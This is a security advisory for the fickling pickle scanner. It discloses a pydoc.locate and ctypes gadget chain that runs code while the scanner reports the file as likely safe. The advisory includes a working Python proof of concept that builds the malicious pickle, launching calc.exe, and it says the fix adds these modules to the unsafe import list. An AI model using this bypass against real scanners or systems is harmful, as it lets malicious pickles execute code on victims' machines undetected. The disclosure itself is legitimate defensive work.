Skip to content

ctypes and pydoc gadget chain to bypass detection

High
thomas-chauchefoin-tob published GHSA-5hvc-6wx8-mvv4 Jan 9, 2026

Package

pip fickling (pip)

Affected versions

<= v0.1.6

Patched versions

>= v0.1.7

Description

Our assessment

We added pydoc and ctypes to our list of unsafe imports (b793563).

Original report

Summary

Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE

Details

Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate('ctypes.windll.kernel32.WinExec').
Execution: Call the result with (b'calc.exe', 1).

To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin

PoC

import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }
    
    payload += BUILD 
    
    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)
    
print("Generated 'stealth_ctypes.pkl'")

What fickling sees

from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
image

Severity

High

CVE ID

CVE-2026-22608

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

Credits